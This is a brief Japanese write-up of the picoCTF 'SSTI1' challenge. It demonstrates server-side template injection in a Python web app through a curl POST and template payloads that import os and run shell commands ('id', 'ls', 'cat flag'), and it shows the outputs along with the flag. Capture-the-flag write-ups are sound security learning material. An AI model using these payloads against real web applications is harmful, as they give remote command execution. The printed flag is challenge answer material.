SSTI1
## solve
http://rescued-float.picoctf.net:51328/ で立ち上がるので見てみると、以下のような POST リクエストを送れる form がある。
bash
curl 'http://rescued-float.picoctf.net:51328/announce' \
-X POST \
--data-raw 'content=test'
payload を {{1+1}} にすると、SSTI が刺さる。Python っぽいので、適当に使えそうな payload を見繕って 1 みる。
text
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
以下の情報が抜けるので、flag を探していく。
bash
uid=0(root) gid=0(root) groups=0(root)
まずはファイルを見てみると、flag があることがわかる。
text
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}
bash
__pycache__
app.py
flag
requirements.txt
対象の flag ファイルを cat して flag を読み出す。
text
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}
bash
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_4675f3fa}
## flag
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_4675f3fa}